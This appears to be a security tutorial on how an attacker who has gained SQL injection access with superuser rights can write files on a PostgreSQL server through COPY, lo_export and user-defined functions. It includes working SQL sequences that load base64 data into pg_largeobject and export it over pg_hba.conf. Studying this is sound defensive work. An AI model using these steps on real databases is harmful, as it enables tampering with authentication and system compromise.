Table of Contents
The following examples assume access to the database has been achieved through SQL Injection vulnerability in a web application.
Sometimes, against best practice, the application has connected to the database using superuser credentials.
2. Default configuration
In some systems the configuration files of PostgreSQL are owned by the user used to run the PostgreSQL process.
For example in my Ubuntu laptop the PostgreSQL configuration file are owned by postgres by default, as you can see:
$ ls -al /etc/postgresql/8.3/main/ total 44 drwxr-xr-x 2 root root 4096 2008-05-14 00:20 . drwxr-xr-x 3 root root 4096 2008-04-12 15:19 .. -rw-r--r-- 1 root root 316 2008-04-12 15:20 environment -rw-r----- 1 postgres postgres 3845 2008-05-13 23:07 pg_hba.conf -rw-r----- 1 postgres postgres 1460 2008-04-12 15:20 pg_ident.conf -rw-r--r-- 1 postgres postgres 16682 2008-04-12 15:20 postgresql.conf -rw-r--r-- 1 root root 378 2008-04-12 15:20 start.conf
All the configuration files are owned by postgres user which can write these.
So anyone that can execute a SQL statement that write files to disk can try to overwrite a configuration file and do all evil things.
3. COPY Function
The COPY statement transfers data between PostgreSQL tables and standard file system files.
COPY TO statement copies the contents of a table to a file, while COPY FROM copies data from a file to a table (appending the data to whatever is in the table already).
It can export data as text or PostgreSQL’s own binary format, which contains a header.
Using COPY with a file name instructs the PostgreSQL server to directly read from or write to a file. The file must be accessible to the server and the name must be specified from the viewpoint of the server. When STDIN or STDOUT is specified, data is transmitted via the connection between the client and the server.
In PostgreSQL 8.0 and later the database file locations can be determined querying system table pg_settings:
postgres=# SELECT setting FROM pg_settings WHERE name='data_directory'; setting ------------------------------ /var/lib/postgresql/8.3/main (1 row)
3.1 COPY function abusing
The files are accessed under the operating system user privilege that the database runs as and it’s available only to database superusers.
The COPY command does not accept relative paths to prevent the overwriting of a database file, more explanation of this can be found in copy.c source file.
So an attacker can use ~ to write in PostgreSQL home directory and must write files in already known path or a well known directory like /tmp.
The caveat is that the file cannot contain a null byte (0x00) otherwise proceeding bytes will not be written out.
4. BLOB functions
PostgreSQL uses large objects, also called Binary Large Objects, to store very large values and binary data. Large objects permit storage of any operating system file, including images or large text files, directly into the database.
It has provided support for BLOB, also called Large Objects, since version 4.2. From version 7.2 organized the three large object interfaces such that all large objects are now placed in the system table pg_largeobject.
According to the Database Data Type Comparison Sheet there are two data types used by PostgreSQL to store BLOB:
- BYTEA: used to store small amount of binary data that are stored in the data table
- OID: used to store very large amount of binary data in form of file in the filesystem
4.1 BLOB functions abusing
The file is loaded into the database using lo_import(), and is retrieved from the database using lo_export(). These functions take a path as argument that is the path of file to load or the path where export the data in the BLOB field.
In detail to export a large object into an operating system file, call the lo_export() function, with argument that specifies the operating system name of the file.
Note that the file is written by the client interface library, not by the server. Returns 1 on success, -1 on failure.
Reading PostgreSQL documentation in the BLOB section there is the following:
Files are imported and exported by the postgres user, so postgres must have permission to read the file for lo_import() and directory write permission for lo_export().
So this function can write a file to disk and abusing it we can overwrite the PostgreSQL configuration files.
First of all we need to create a temporary table (if your user have right permissions) to store our evil data:
postgres=# CREATE TABLE foo ( postgres(# bar oid, postgres(# id int4, postgres(# CONSTRAINT id PRIMARY KEY (id) ) WITHOUT OIDS; NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "id" for table "foo" CREATE TABLE
The easiest way to load a file is using lo_import() that imports a file from the local file system but if you want to use this you must have a way to store a file on target system.
postgres=# INSERT INTO foo VALUES (lo_import('/tmp/bar.bin'), 1); INSERT 0 1
Now you can try to abuse of lo_export() to overwrite a PostgreSQL configuration file.
If the web application connects to PostgreSQL using a user with superuser permission you can overwrite any configuration file owned by postgres, here we overwrite pg_hba.conf:
postgres=# SELECT lo_export(bar, '/etc/postgresql/8.3/main/pg_hba.conf') FROM postgres+# foo WHERE id=1; lo_export ----------- 1 (1 row)
If the web application runs as a non-superuser user you can get the following error message:
Query failed: ERROR: must be superuser to use server-side lo_export() HINT: Anyone can use the client-side lo_export() provided by libpq.
If you are exploiting a SQL injection you can’t use lo_import() because it needs to write files in the local system the pg_largeobject table can be queried and updated directly, it’s “data” column is the equivalent to the BLOB data type found in other DBMS and is of type BYTEA.
Remember that when writing BYTEA data all non printable characters must be represented in octal syntax like 00 and the \ must be escaped if you use it inside a string.
For example 00 becomes 0 inside a string.
A trick is to transfer data encoded in hex or base64 and then decode it in the database, but remember that this cause an overhead, for example of 34% of the file size using base64.
Using direct access to pg_largeobject we can transfer an arbitrary file and then exporting it via lo_export().
First of all you must create a new entry in pg_largeobject.
postgres=# SELECT lo_create(-1); lo_create ---------- 24586 (1 row)
And now load your file encoded in base64 (also hex encoding can be used).
postgres=# UPDATE pg_largeobject SET data = (DECODE('YW50YW5p', 'base64')) postgres+# WHERE LOID = 24586; UPDATE 1
Your file is loaded in the target DBMS, now you can write it to disk using lo_export().
postgres=# SELECT lo_export(24586, '/etc/postgresql/8.3/main/pg_hba.conf'); lo_export ----------- 1 (1 row)
5. User defined functions
The PostgreSQL functionalities can be extended user-defined functions, data types, triggers, etc written in C or other languages.
By default only superuser can create new functions using language C.
5.1 User defined functions abusing
Using a user-defined function is possible to define function to open, create and write files.
The code is not too short and described by Nico Leidecker and also is the author of pgshell, a tool to automatize the exploitation process.
Exploiting a SQL injection to write files in to the attacked system disk can be done in three ways but as you can see in the following comparison table you can do it only if the database user is a superuser.
|Write files with COPY||YES||NO|
|Write files with lo_export()||YES||NO|
|Write file via extension||YES||NO|
So in the case we aren’t superuser a privilege escalation vulnerability can be user to upload files. If you achieve the capability to upload files you can overwrite the PostgreSQL configuration files.